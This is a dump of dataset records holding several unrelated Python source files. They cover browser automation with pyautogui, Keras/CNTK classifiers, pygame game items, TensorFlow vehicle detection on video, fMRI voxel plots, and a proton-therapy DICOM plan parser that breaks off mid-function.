"cv2.destroyAllWindows", "line_number": 162, "usage_type": "call"}]} {"seq_id": "28029690", "text": "import pyautogui, time\n\ntime.sleep(2)\n\npyautogui.keyDown('ctrl') #1\npyautogui.hotkey('win','d') #2\npyautogui.keyUp('ctrl') #3 for opening a new window\n\npyautogui.press('win')\npyautogui.write('chrome') # \"chrome\" can be changed to any browser you like that you have installed\npyautogui.press('enter')\ntime.sleep(2)\nf= open (\"sites\", 'r')\npyautogui.hotkey('ctrl', ' n') #for a new window in chrome\nfor word in f:\n pyautogui.write(word)\n pyautogui.press(\"enter\")\n pyautogui.hotkey('ctrl', 't') #for new tab\n #pyautogui.hotkey('ctrl', ' n') #for new window in chrome\n\n\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 583, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "time.sleep", "line_number": 3, "usage_type": "call"}, {"api_name": "pyautogui.keyDown", "line_number": 5, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 6, "usage_type": "call"}, {"api_name": "pyautogui.keyUp", "line_number": 7, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 9, "usage_type": "call"}, {"api_name": "pyautogui.write", "line_number": 10, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 11, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 12, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 14, "usage_type": "call"}, {"api_name": "pyautogui.write", "line_number": 16, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 17, "usage_type": "call"}, {"api_name": "pyautogui.hotkey", "line_number": 18, "usage_type": "call"}]} {"seq_id": "371795495", "text": "import collections\nimport numpy as np\nimport os.path\nimport re\nimport sys\nfrom keras.models import model_from_json\nimport tensorflow as tf \nimport keras\ntf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\n\nclass Classifier_cntk:\n def __init__(self,model_filename: str):\n import cntk\n self.model = None\n try:\n self.load_model(model_filename)\n except:\n raise Exception(\"Model didn't load successfully\")\n\n def load_model(self,model_filename):\n \n \n self.model_filename = model_filename\n\n cntk_model = cntk.load_model(model_filename)\n\n # First try and find output by name\n model_output = cntk_model.find_by_name('ScaledLogLikelihood')\n\n # Fall back to first defined output\n if model_output is None:\n model_output = cntk_model.outputs[0]\n\n # Create an object restricted to the desired output.\n cntk_model = cntk.combine(model_output)\n\n # Optimized RNN models won't run on CPU without conversion.\n if 0 == cntk.use_default_device().type():\n cntk_model = cntk.misc.convert_optimized_rnnstack(cntk_model)\n\n self.model = cntk_model\n return self\n\n\n\n def stack_features(self, feature_vectors,context_frames=11):\n return np.column_stack([\n feature_vectors[np.minimum(len(feature_vectors) - 1, np.maximum(\n 0, np.arange(len(feature_vectors), dtype=np.int) + d))]\n for d in range(-context_frames, context_frames + 1)\n ])\n\n\n def eval(self, feature_vectors,do_stack_features = False):\n if(do_stack_features):\n feature_vectors = self.stack_features(feature_vectors)\n\n if(self.model):\n return self.model.eval(feature_vectors.astype('f'))[0]\n else:\n raise Exception(\"Model isn't loaded yet\")\n\nclass Classifier_keras:\n def __init__(self,model_arch: str,model_weight: str, prior_file: str):\n self.model = None\n self.priori_logproba = None\n self.session=tf.Session()\n try:\n with self.session.as_default():\n with self.session.graph.as_default():\n\n with open(model_arch, 'r') as json_file:\n json_savedModel= json_file.read()\n self.model = model_from_json(json_savedModel)\n # print(self.model.summary())\n self.model.compile(loss='categorical_crossentropy',\n optimizer='adam',metrics=[\"categorical_accuracy\"])\n self.model.load_weights(model_weight)\n self.model._make_predict_function()\n\n with open(prior_file,\"r\") as f:\n priori = [line.split()[1] for line in f.readlines()]\n self.priori_logproba = np.log(np.array(list(map(float,priori))))\n except:\n raise Exception(\"Model didn't load successfully\")\n\n def eval(self, features):\n if(self.model):\n with self.session.as_default():\n with self.session.graph.as_default():\n sample=features.reshape(1,features.shape[0],features.shape[1])\n # print(sample.shape)\n pred=self.model.predict(sample)\n\n return np.log(pred[0]) - self.priori_logproba\n else:\n raise Exception(\"Model isn't loaded yet\")\n", "sub_path": "app/recognition/Classifier/classifier.py", "file_name": "classifier.py", "file_ext": "py", "file_size_in_byte": 3340, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.compat.v1.logging.set_verbosity", "line_number": 9, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 9, "usage_type": "attribute"}, {"api_name": "cntk.load_model", "line_number": 25, "usage_type": "call"}, {"api_name": "cntk.combine", "line_number": 35, "usage_type": "call"}, {"api_name": "cntk.use_default_device", "line_number": 38, "usage_type": "call"}, {"api_name": "cntk.misc.convert_optimized_rnnstack", "line_number": 39, "usage_type": "call"}, {"api_name": "cntk.misc", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.column_stack", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.minimum", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 49, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.models.model_from_json", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 95, "usage_type": "call"}]} {"seq_id": "641374638", "text": "from pygame.sprite import Sprite\nimport pygame\nfrom abc import ABCMeta\nfrom threading import Timer\nfrom random import choices\nfrom models import *\nimport time\n\n\n\nclass Equipment(Sprite, metaclass=ABCMeta):\n pass\n\n\nclass DefenderEquipment(Equipment, metaclass=ABCMeta):\n pass\n\n\nclass AttackerEquipment(Equipment, metaclass=ABCMeta):\n pass\n\n\nclass AmbulanceEquipment(DefenderEquipment):\n count = 1\n def __init__(self, defender, game_controller):\n super().__init__()\n\n\nclass ListEquipment(DefenderEquipment):\n count = 1\n def __init__(self, game_controller, last_cds):\n super().__init__()\n ListEquipment.count -= 1\n if time.time() - CivilianDefender.last_created_time < 15:\n CivilianDefender.last_created_time += 5\n if time.time() - FattyDefender.last_created_time < 60:\n FattyDefender.last_created_time += 5\n if time.time() - KamikazeDefender.last_created_time < 10:\n KamikazeDefender.last_created_time += 5\n if time.time() - PharmacistDefender.last_created_time < 25:\n PharmacistDefender.last_created_time += 5\n if time.time() - AuraDefender.last_created_time < 80:\n AuraDefender.last_created_time += 5\n for i in range(len(last_cds)):\n last_cds[i] -= 5000\n\n\nclass CanonEquipment(DefenderEquipment):\n count = 1\n def __init__(self, game_controller):\n super().__init__()\n CanonEquipment.count -= 1\n chosen = choices(Attacker.attackers, k=2)\n for attacker in chosen:\n attacker.attacked(2000, EquipmentAttacker())\n\n\nclass IndifferentEquipment(AttackerEquipment):\n count = 1\n def __init__(self, game_controller):\n super().__init__()\n IndifferentEquipment.count -= 1\n for attacker in Attacker.attackers:\n attacker.attacked(800, EquipmentAttacker())\n for defender in Defender.defenders:\n defender.attacked(800, EquipmentAttacker())\n\n\nclass DopingEquipment(AttackerEquipment):\n count = 1\n doped = set()\n def __init__(self, game_controller):\n super().__init__()\n DopingEquipment.count -= 1\n for attacker in Attacker.attackers:\n if attacker not in self.doped:\n attacker.speed = attacker.speed * 1.25\n DopingEquipment.doped.add(attacker)\n\n\nclass SignalEquipment(AttackerEquipment):\n count = 1\n\n on = False\n\n @staticmethod\n def turn_off():\n SignalEquipment.on = False\n\n def __init__(self, game_controller):\n super().__init__()\n SignalEquipment.count -= 1\n SignalEquipment.on = True\n timer = Timer(5, SignalEquipment.turn_off)\n timer.start()\n", "sub_path": "src/equipments.py", "file_name": "equipments.py", "file_ext": "py", "file_size_in_byte": 2705, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.sprite.Sprite", "line_number": 11, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 11, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 15, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 19, "usage_type": "name"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}, {"api_name": "time.time", "line_number": 36, "usage_type": "call"}, {"api_name": "time.time", "line_number": 38, "usage_type": "call"}, {"api_name": "time.time", "line_number": 40, "usage_type": "call"}, {"api_name": "time.time", "line_number": 42, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 53, "usage_type": "call"}, {"api_name": "threading.Timer", "line_number": 94, "usage_type": "call"}]} {"seq_id": "416530365", "text": "######## Video Object Detection Using Tensorflow-trained Classifier #########\n#\n# Author: Evan Juras\n# Date: 1/16/18\n# Description: \n# This program uses a TensorFlow-trained classifier to perform object detection.\n# It loads the classifier uses it to perform object detection on a video.\n# It draws boxes and scores around the objects of interest in each frame\n# of the video.\n\n## Some of the code is copied from Google's example at\n## https://github.com/tensorflow/models/blob/master/research/object_detection/object_detection_tutorial.ipynb\n\n## and some is copied from Dat Tran's example at\n## https://github.com/datitran/object_detector_app/blob/master/object_detection_app.py\n\n## but I changed it to make it more understandable to me.\n\n# Import packages\nimport cv2\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport sys\nimport matplotlib.pyplot as plt\nfrom filestack import Client\nimport datetime\nimport requests\nimport json\nimport pandas as pd\n##from openpyxl import load_workbook\n##file=\"./excel/a.xlsx\"\n##df = pd.read_excel(file, header=None)\n##writer = pd.ExcelWriter(file, engine='openpyxl')\nclient = Client(\"AwCnfiZESWaA14iEjm189z\")\ndata=[]\ndata2=[]\n# This is needed since the notebook is stored in the object_detection folder.\nsys.path.append(\"..\")\n\n# Import utilites\nfrom utils import label_map_util\nfrom utils import visualization_utils as vis_util\n\n# Name of the directory containing the object detection module we're using\nMODEL_NAME = 'faster_rcnn_inception_v2_99k_result'\n\n\n# Grab path to current working directory\nCWD_PATH = os.getcwd()\n\n# Path to frozen detection graph .pb file, which contains the model that is used\n# for object detection.\nPATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb'\n\n# Path to label map file\nPATH_TO_LABELS = os.path.join('data', 'labelmap2.pbtxt')\n\n\n# Number of classes the object detector can identify\nNUM_CLASSES = 5\n\n# Load the label map.\n# Label maps map indices to category names, so that when our convolution\n# network predicts `5`, we know that this corresponds to `king`.\n# Here we use internal utility functions, but anything that returns a\n# dictionary mapping integers to appropriate string labels would be fine\nlabel_map = label_map_util.load_labelmap(PATH_TO_LABELS)\ncategories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)\ncategory_index = label_map_util.create_category_index(categories)\n\n# Load the Tensorflow model into memory.\ndetection_graph = tf.Graph()\nwith detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n\n sess = tf.Session(graph=detection_graph)\n\n# Define input and output tensors (i.e. data) for the object detection classifier\n\n# Input tensor is the image\nimage_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n\n# Output tensors are the detection boxes, scores, and classes\n# Each box represents a part of the image where a particular object was detected\ndetection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n\n# Each score represents level of confidence for each of the objects.\n# The score is shown on the result image, together with the class label.\ndetection_scores = detection_graph.get_tensor_by_name('detection_scores:0')\ndetection_classes = detection_graph.get_tensor_by_name('detection_classes:0')\n\n# Number of objects detected\nnum_detections = detection_graph.get_tensor_by_name('num_detections:0')\n# Open video file\nvideo = cv2.VideoCapture(CWD_PATH + \"/video/IMG_0439_31s_green.mp4\")\nfps = int(video.get(cv2.CAP_PROP_FPS))\ncount = 0\nrowCount=0\nsuccess = True\nwhile success:\n \n success, image = video.read()\n name = './Capture/image' + str(count) + '.jpg'\n def length_of_bounding_box(ymin,ymax):\n return (ymax - ymin)/2 + ymin\n if count%(5*fps) == 0 :\n \n print ('Creating...' + name)\n height, width, channels = image.shape \n \n image_expanded = np.expand_dims(image, axis=0)\n\n # Perform the actual detection by running the model with the image as input\n (boxes, scores, classes, num) = sess.run(\n [detection_boxes, detection_scores, detection_classes, num_detections],\n feed_dict={image_tensor: image_expanded})\n threshold = 0.5\n objects = []\n \n for index, value in enumerate(classes[0]):\n object_dict = {}\n box=[]\n if scores[0, index] > threshold:\n #print(len(boxes[0,index]))\n ymin = boxes[0,index][0]* height\n xmin = boxes[0,index][1]* width\n ymax = boxes[0,index][2]* height\n xmax = boxes[0,index][3]* width\n object_dict['type'] =(category_index.get(value)).get('name')\n object_dict['yValue'] =length_of_bounding_box(ymin , ymax)\n object_dict['xValue'] =length_of_bounding_box(xmin , xmax)\n objects.append(object_dict)\n\n motorCount=0\n carCount=0\n \n \n\n for obj in objects:\n keys = iter(obj.values())\n typeVe,yValue,xValue=next(keys),next(keys),next(keys)\n print(typeVe)\n## print(typeVe ,\"=\",yValue,\"=\",xValue)\n motorLabel=\"motor\"\n \n if(yValue >=560 and yValue <=650 and xValue>=550 and xValue<=1350):\n if(typeVe.strip() == motorLabel):\n motorCount +=1\n else:\n carCount+=1\n else:\n print(\"No vehicle in area detection\")\n print(motorCount)\n print(carCount)\n## print(carCount)\n image[560:700 , 550:1350 , 2]=255\n plt.figure( figsize = (10,10))\n cv2.imwrite(name,image)\n## data.append(motorCount)\n## data2.append(carCount)\n \n\n \n \n## new_filelink = client.upload(filepath=name, multipart=False)\n## print('filestack url: ' + new_filelink.url)\n## print(datetime.datetime.now().time())\n## vehicles ={\n##\t\"CameraId\":1,\n##\t\"result\":[\n##\t\t{\n##\t\t\"typeId\":1,\n##\t\t\"countVeh\":motorCount\n##\t\t},\n##\t\t{\n##\t\t\"typeId\":2,\n##\t\t\"countVeh\":carCount\t\n##\t\t}\n##\t]\n##}\n## headers = {'Content-type': 'application/json'}\n## url='http://localhost:8080/api/detection'\n## params={'detectResultString':json.dumps(vehicles)}\n## r=requests.post(url, params=params, headers=headers)\n## print(r.status_code, r.reason, r.text)\n count+=1\n\n #cv2.imshow('Object detector', image)\n # All the results have been drawn on the frame, so it's time to display it.\n ##cv2.imshow('Object detector', frame)\n\n # Press 'q' to quit\n if cv2.waitKey(0) == ord('q'):\n break\n\ndef save_Excel():\n df2 = pd.DataFrame({'Data': data})\n df1 = pd.DataFrame({'Data': data2})\n book=load_workbook(file)\n writer.book = book\n writer.sheets = dict((ws.title, ws) for ws in book.worksheets)\n df2.to_excel(writer, sheet_name='Sheet1', header=None, index=False,\n startcol=1,startrow=1)\n df1.to_excel(writer, sheet_name='Sheet1', header=None, index=False,\n startcol=2,startrow=1)\n writer.save()\n##save_Excel()\n# Clean up\nvideo.release()\ncv2.destroyAllWindows()\n", "sub_path": "Python Detection-NotUsed/Object_detection_video2.py", "file_name": "Object_detection_video2.py", "file_ext": "py", "file_size_in_byte": 7362, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "filestack.Client", "line_number": 35, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 39, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "utils.label_map_util.load_labelmap", "line_number": 68, "usage_type": "call"}, {"api_name": "utils.label_map_util", "line_number": 68, "usage_type": "name"}, {"api_name": "utils.label_map_util.convert_label_map_to_categories", "line_number": 69, "usage_type": "call"}, {"api_name": "utils.label_map_util", "line_number": 69, "usage_type": "name"}, {"api_name": "utils.label_map_util.create_category_index", "line_number": 70, "usage_type": "call"}, {"api_name": "utils.label_map_util", "line_number": 70, "usage_type": "name"}, {"api_name": "tensorflow.Graph", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.GraphDef", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.gfile.GFile", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tensorflow.import_graph_def", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 81, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 101, "usage_type": "attribute"}, {"api_name": "numpy.expand_dims", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "cv2.imwrite", "line_number": 163, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 198, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 202, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 203, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 215, "usage_type": "call"}]} {"seq_id": "237717502", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 25 08:47:40 2018\n\n@author: ben\n\"\"\"\n\n\n\nimport numpy as np\nfrom nipy import load_image\nimport matplotlib.pyplot as plt\nimport datetime\nfrom matplotlib import cm\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom skimage.transform import resize\nimport os\nimport cv2\n\nmyimgLR = load_image('DATA/NotProcessedData/tfMRI_WM_LR.nii')\nprint(myimgLR.shape)\nLR = myimgLR.get_data()[:,:,:,350]\n\n\ndef normalize(arr):\n arr_min = np.min(arr)\n return (arr-arr_min)/(np.max(arr)-arr_min)\n\ndef explode(data):\n shape_arr = np.array(data.shape)\n size = shape_arr[:3]*2 - 1\n exploded = np.zeros(np.concatenate([size, shape_arr[3:]]), dtype=data.dtype)\n exploded[::2, ::2, ::2] = data\n return exploded\n\ndef expand_coordinates(indices):\n x, y, z = indices\n x[1::2, :, :] += 1\n y[:, 1::2, :] += 1\n z[:, :, 1::2] += 1\n return x, y, z\n\ndef plot_cube(cube, angle=320):\n cube = normalize(cube)\n\n facecolors = cm.viridis(cube)\n facecolors[:,:,:,-1] = cube\n facecolors = explode(facecolors)\n\n filled = facecolors[:,:,:,-1] != 0\n x, y, z = expand_coordinates(np.indices(np.array(filled.shape) + 1))\n\n fig = plt.figure(figsize=(30/2.54, 30/2.54))\n ax = fig.gca(projection='3d')\n ax.view_init(30, angle)\n ax.set_xlim(right=IMG_DIM*2)\n ax.set_ylim(top=IMG_DIM*2)\n ax.set_zlim(top=IMG_DIM*2)\n\n ax.voxels(x, y, z, filled, facecolors=facecolors)\n plt.savefig('/Users/kws/Desktop/FMRI_IMAGES/Subject_1/image_' + str(i), bbox_inches = 'tight')\n plt.show()\n\n\n#Generate Images for each time step of a given 4D NiFTI file\nmyimg = load_image('tfMRI_WM_LR.nii')\ntime_steps = myimg.shape[3]\nIMG_DIM = 50\n\nfor i in range(1,time_steps):\n LR = myimg.get_data()[:,:,:,i]\n IMG_DIM = 50\n resized = resize(normalize(LR), (IMG_DIM, IMG_DIM, IMG_DIM), mode='constant')\n plot_cube(resized)\n\n#Generate Movie from generated images\nimage_folder = '/Users/kws/Desktop/FMRI_IMAGES/Subject_1'\nvideo_name = 'Subject_1.avi'\n\nimages = [img for img in os.listdir(image_folder) if img.endswith(\".png\")]\nframe = cv2.imread(os.path.join(image_folder, images[0]))\nheight, width, layers = frame.shape\n\nvideo = cv2.VideoWriter(video_name, -1, 1, (width,height))\n\nfor image in images:\n video.write(cv2.imread(os.path.join(image_folder, image)))\n\ncv2.destroyAllWindows()\nvideo.release()\n", "sub_path": "movie.py", "file_name": "movie.py", "file_ext": "py", "file_size_in_byte": 2374, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "nipy.load_image", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.cm.viridis", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.indices", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "nipy.load_image", "line_number": 67, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 74, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 81, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "cv2.destroyAllWindows", "line_number": 90, "usage_type": "call"}]} {"seq_id": "505075851", "text": "def loadBeamModel(beamModelFileName, displayInfo=False):\n import pandas as pd \n if displayInfo:\n print('# Loading beam model from {:s}'.format(beamModelFileName), end=' ')\n try:\n beamModel=pd.read_csv(beamModelFileName, delim_whitespace=True, index_col='Energy')\n if {'Energy_MeV','dEnergy_pr','scalingFactor','FWHMX_cm','alphaX','betaX_cm','epsilonX_cm','FWHMY_cm','alphaY','betaY_cm','epsilonY_cm'}.issubset(beamModel.columns):\n if displayInfo:\n print('...OK')\n return beamModel\n else:\n print('\\nError while loading beam model from \\'{:s}\\'. Missing columns or wrong column names.'.format(beamModelFileName))\n exit(1)\n except:\n print('\\nError while loading beam model from \\'{:s}\\'. No such file.'.format(beamModelFileName))\n exit(1)\n \ndef loadDicomRT(dicomRTFileName, displayInfo=False):\n import pydicom as dicom\n if displayInfo:\n print('# Loading RT plan from {:s}'.format(dicomRTFileName), end=' ')\n try:\n dicomRT=dicom.read_file(dicomRTFileName)\n if dicomRT.SOPClassUID=='1.2.840.10008.5.1.4.1.1.481.8':\n if displayInfo:\n print('...OK')\n return dicomRT\n else:\n print('\\nError while loading RT plan from {:s}. The file does not contain RT plan.'.format(dicomRTFileName))\n exit(1)\n except:\n print('\\nError while loading RT plan from {:s}. No such file.'.format(dicomRTFileName))\n exit(1)\n\ndef interpolateBeamModel(beamModel, Energy, method='slinear'): # do not use methods 'linear'\n import pandas as pd\n beamModelEnergy=beamModel.reindex(beamModel.index.values.tolist()+[Energy]).sort_index().interpolate(method=method).loc[Energy]\n if isinstance(beamModelEnergy,pd.DataFrame):\n beamModelEnergy=beamModelEnergy.iloc[0]\n return beamModelEnergy \n\ndef buildPLAN(RTplanFileName, beamModelFileName, RSModelFileName, materialDefinitionFileName, beamModelInterpolationMethod='slinear', displayInfo=False):\n import sys, os\n import pandas as pd\n import pydicom as dicom\n import numpy as np\n from shutil import copyfile\n\n\n dicomRT=loadDicomRT(RTplanFileName, displayInfo=displayInfo)\n planInfo={'beamModelFileName': beamModelFileName,\n 'RSModelFileName': RSModelFileName,\n 'materialDefinitionFileName': materialDefinitionFileName,\n 'RTplanFileName': RTplanFileName}\n\n # get field number and types\n NumberOfFields = dicomRT.FractionGroupSequence[0].NumberOfBeams\n NumberOfFieldsTreatment=0\n NumberOfFieldsSetup=0\n NumberOfFieldsOther=0\n for ifield in range(NumberOfFields):\n if dicomRT.IonBeamSequence[ifield].TreatmentDeliveryType=='TREATMENT':\n NumberOfFieldsTreatment+=1\n planInfo['TreatmentMachineName']=dicomRT.IonBeamSequence[ifield].TreatmentMachineName\n elif dicomRT.IonBeamSequence[ifield].TreatmentDeliveryType=='SETUP':\n NumberOfFieldsSetup+=1\n else:\n NumberOfFieldsOther+=1\n # get number of fractions \n NumberOfFractionsPlanned = dicomRT.FractionGroupSequence[0].NumberOfFractionsPlanned\n\n # load beam model\n beamModel=loadBeamModel(beamModelFileName, displayInfo=displayInfo)\n\n if displayInfo:\n print('# Building plan:')\n print('# Nominal gantry: {:s}'.format(planInfo['TreatmentMachineName']))\n print('# Number of fields: {:d} treatment, {:d} setup, {:d} other'.format(NumberOfFieldsTreatment, NumberOfFieldsSetup, NumberOfFieldsOther))\n print('# Number of fraction planned: {:d}'.format(NumberOfFractionsPlanned))\n\n planInfo['pencilBeamNumberAll']=0\n planInfo['protonNumberAll']=0\n planInfo['planTotalEnergy']=0\n planInfo['fieldIDList']=[]\n planInfo['fieldNameList']=[]\n\n fieldsInfo=[]\n for ifield in range(NumberOfFields):\n # convert if is a TREATMENT field (not SETUP or OTHER)\n if dicomRT.IonBeamSequence[ifield].TreatmentDeliveryType!='TREATMENT':\n continue;\n\n if displayInfo:\n print('Field {:d} / {:d}:'.format(ifield+1,NumberOfFieldsTreatment))\n\n IonBeamSequence = dicomRT.IonBeamSequence[ifield]\n\n # check if RadiationType is 'PROTON'\n if IonBeamSequence.RadiationType != 'PROTON':\n print('\\t\\tWarning: No PROTON plan. Field skipped.')\n npbVec.append(0)\n continue\n\n # check if the field is MODULATED which means that some properties are the same for all pb\n if IonBeamSequence.ScanMode != 'MODULATED' or IonBeamSequence.BeamType != 'STATIC':\n print('Error this RTPLAN is not for Raster Scan')\n continue;\n\n # check cumulative MU\n for ReferencedBeamSequence in dicomRT.FractionGroupSequence[0].ReferencedBeamSequence:\n if ReferencedBeamSequence.ReferencedBeamNumber==IonBeamSequence.BeamNumber:\n BeamMeterset=ReferencedBeamSequence.BeamMeterset\n break;\n else:\n BeamMeterset=np.nan\n if np.isnan(BeamMeterset):\n print('Error: cannot find BeamMeterset for beam number ID {:d}'.format(IonBeamSequence.BeamNumber))\n exit(1)\n\n # check presence of Range Shifter and Range Shifter ID\n if IonBeamSequence.NumberOfRangeShifters==1:\n if 'RangeShifterSequence' in IonBeamSequence:\n RangeShifterID=IonBeamSequence.RangeShifterSequence[0].RangeShifterID\n else:\n RangeShifterID=''\n\n # check distance of scanning magnets to isocentre\n for LateralSpreadingDeviceSettingsSequence in IonBeamSequence.IonControlPointSequence[0].LateralSpreadingDeviceSettingsSequence:\n for LateralSpreadingDeviceSequence in IonBeamSequence.LateralSpreadingDeviceSequence:\n if LateralSpreadingDeviceSettingsSequence.ReferencedLateralSpreadingDeviceNumber==LateralSpreadingDeviceSequence.LateralSpreadingDeviceNumber:\n if LateralSpreadingDeviceSequence.LateralSpreadingDeviceID=='MagnetX':\n MagnetX_mm=LateralSpreadingDeviceSettingsSequence.IsocenterToLateralSpreadingDeviceDistance\n elif LateralSpreadingDeviceSequence.LateralSpreadingDeviceID=='MagnetY':\n MagnetY_mm=LateralSpreadingDeviceSettingsSequence.IsocenterToLateralSpreadingDeviceDistance \n if MagnetX_mm<MagnetY_mm:\n print('Error: script assumes that the first scanning magnet is deflecting along X (MagnetX_mm={:.3f}, MagnetY_mm={:.3f},)'.format(MagnetX_mm,MagnetY_mm))\n exit(1)\n # define distance from field origin to isocentre \n fieldOriginToIsoDist_mm=MagnetY_mm\n \n # collect field information\n fieldInfo={'BeamNumber': int(IonBeamSequence.BeamNumber), # check beam number ID (field ID)\n 'BeamName': IonBeamSequence.BeamName,\n 'RadiationType': IonBeamSequence.RadiationType, # type of radiation (PROTON)\n 'BeamType': IonBeamSequence.BeamType, \n 'ScanMode': IonBeamSequence.ScanMode,\n 'RangeShifterID': RangeShifterID,\n 'NumberOfControlPoints': int(IonBeamSequence.NumberOfControlPoints), # number of control points (2 x energy slice number) in field\n 'energySliceNumber': int(IonBeamSequence.NumberOfControlPoints/2), # number of energy slices in field\n 'MUsum': float(BeamMeterset), # cumulative MU for field\n 'WeightSum': float(IonBeamSequence.FinalCumulativeMetersetWeight), # cumulative weights for field (the sum of spot weights is used instead)\n 'GantryAngle_deg': float(IonBeamSequence.IonControlPointSequence[0].GantryAngle),\n 'CouchAngle_deg': float(IonBeamSequence.IonControlPointSequence[0].PatientSupportAngle),\n 'fieldOriginToIsoDist_mm': fieldOriginToIsoDist_mm, # distance of field origin point from Iso\n 'SnoutPosition': 368.5, # value taken from TPS eclipse (SnoutPosition 430 means 368.5 mm distance from Iso to RS surface) #IonBeamSequence.IonControlPointSequence[0].SnoutPosition, # snaut position\n 'IsocenterPosition_mm': np.array(IonBeamSequence.IonControlPointSequence[0].IsocenterPosition), # isocentre position\n 'VaccumExitToISODist_mm': 1680\n }\n\n if displayInfo:\n print('\\tBeam Type: {:s}'.format(fieldInfo['RadiationType']))\n print('\\tBeam number ID = {:d}'.format(fieldInfo['BeamNumber']))\n print('\\tBeam name = \\'{:s}\\''.format(fieldInfo['BeamName']))\n print('\\tNumber of energy = {:d}'.format(fieldInfo['energySliceNumber']))\n print('\\tCumulative MU = {:.4f}'.format(fieldInfo['MUsum']))\n 